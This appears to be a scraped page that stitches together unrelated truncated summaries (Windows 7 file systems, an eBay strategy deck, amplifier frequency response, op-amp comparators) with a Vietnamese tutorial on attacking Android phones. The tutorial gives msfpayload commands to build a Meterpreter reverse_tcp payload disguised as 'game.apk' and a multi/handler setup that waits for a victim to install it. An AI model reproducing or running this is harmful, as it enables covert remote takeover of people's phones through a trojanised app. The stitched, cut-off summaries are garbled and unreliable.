Windows 7 has several editions including Starter, Home Basic, Home Premium, Professional, Enterprise, and Ultimate. It supports two main file systems: FAT and NTFS. FAT is simpler and supports up to 32GB of storage, while NTFS is the default for disks over 32GB and supports access controls and encryption. A newer file system called ReFS is designed for Windows 8 servers and provides resilience through features like copy-on-write that prevent overwriting of data.
This document provides an overview of eBay's strategic management presentation. The summary includes:
1) eBay aims to continue expanding into global markets with localized strategies and increased investment in security measures.
2) The presentation covers eBay's marketplace, mission, leadership team, strengths, weaknesses, opportunities, threats, and recommendations to focus on local customer relationships, culture, security, and logistics.
3) eBay's strategic plan is to harness the potential of mobile and embrace new technologies with a consistent brand experience that empowers consumers globally.
The document discusses the frequency response of amplifiers and how different circuit elements affect gain and phase shift at different frequencies. It introduces several key concepts:
1. The input, output, and bypass circuits each form RC networks that attenuate gain and introduce phase shift at lower frequencies.
2. The critical frequency is where gain drops by 3 dB (-3 dB point) and occurs when the capacitive reactance equals the resistance in each RC network.
3. Gain rolls off at -20 dB per decade below each critical frequency. Phase shift also increases at lower frequencies through each RC network.
4. Miller's theorem is used to analyze the effect of internal transistor capacitances at higher frequencies. The
This document discusses the frequency response of amplifiers. It explains that an amplifier's frequency response can be analyzed using a Bode plot. An amplifier's bandwidth is defined as the range of frequencies between its lower and upper critical frequencies (fcl(dom) and fcu(dom)), where the voltage gain is 3dB below the midrange value. The unity-bandwidth product states that for an amplifier with a -20dB/decade roll-off, the product of its voltage gain and bandwidth remains constant. The unity-gain frequency, fT, is the frequency at which the amplifier's gain reaches 1, and it is always equal to the midrange voltage gain multiplied by the bandwidth. When analyzing multistage ampl
The document discusses various applications of operational amplifiers as comparators and other circuits. It describes how op-amps can be used as zero-level detectors, nonzero-level detectors, and how hysteresis can reduce noise effects in comparators. It also discusses summing amplifiers, averaging amplifiers, scaling adders, and how op-amps can be configured as integrators and differentiators.

1. Tạo mã độc và tấn công Android trên VPS Windows Server 2003
* Tạo mã độc:
Do chưa có thời gian nguyên cứu msfpayload trên window nên ta sẽ tạo file mã độc
trên kalilinux.
Khởi động kalilinux,mở console và gõ lệnh:
Msfpayload android/meterpreter/reverse_tcp lhost=<IP_VPS>
lport=<PORT_VPS> R > ~/Desktop/game.apk
Trong đó <IP_VPS> chính là địa chỉ IP của máy VPS, còn <PORT_VPS> chính là
port lắng nghe, nên chọn port ít dùng để hạn chế đụng port.
Chúng ta có thể xem IP trên VPS bằng cách khởi động cmd rồi gõ lệnh ipconfig .
Để kiểm tra port đã dùng chưa ta dùng lệnh netstat –a :
Các dòng có LISTENING là các port đã sử dụng, chẳng hạn port 1024 , 5555, 1026
…vv
2. *Tấn công:
- Trên server VPS, khởi chạy msfconsole: vào thư mục cài đặt metasploit, click vào
file dev_msfconsole.bat
- Giao diện msfconsole:
- Sau khi load msfconsole load xong, ta phải tao một handler để xử lý dữ liệu truyền
về bằng các lệnh sau :
use exploit/multi/handler => chọn handle để xử lý dữ liệu truyền về
3. set payload android/meterpreter/reverse_tcp => chọn payload tương tự như lúc
tạo mã độc
set lhost 192.168.10.104 => đây là IP của máy kalilinux như tạo mã độc.
set lport 4444 => port giống như tạo mã độc ở trên
exploit => bắt đầu tấn công, chờ victim kết nối vào.
- Chờ nạn nhân cài và chạy file apk và tấn công.
